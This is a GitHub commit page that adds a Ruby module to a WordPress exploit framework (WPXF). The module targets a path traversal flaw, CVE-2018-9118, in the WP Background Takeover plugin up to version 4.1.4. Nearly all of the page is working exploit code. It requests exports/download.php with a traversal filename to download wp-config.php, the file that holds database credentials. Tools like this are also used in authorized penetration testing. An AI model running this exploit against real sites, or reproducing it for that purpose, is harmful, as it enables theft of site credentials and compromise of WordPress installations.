Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 211d803

Browse files
committed
Add WP Background Takeover <= 4.1.4 file download
1 parent e5339ce commit 211d803

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Auxiliary::WpBackgroundTakeoverFileDownload < Wpxf::Module
4+
include Wpxf::WordPress::FileDownload
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'WP Background Takeover <= 4.1.4 File Download',
11+
author: [
12+
'Colette Chamberland', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-9118'],
17+
['WPVDB', '9056']
18+
],
19+
date: 'Apr 06 2018'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('wpsite-background-takeover', '4.1.5')
25+
end
26+
27+
def default_remote_file_path
28+
'../../../../wp-config.php'
29+
end
30+
31+
def working_directory
32+
'wp-content/plugins/wpsite-background-takeover/exports/'
33+
end
34+
35+
def downloader_url
36+
normalize_uri(wordpress_url_plugins, 'wpsite-background-takeover', 'exports', 'download.php')
37+
end
38+
39+
def download_request_params
40+
{ 'filename' => remote_file }
41+
end
42+
end

0 commit comments

Comments
 (0)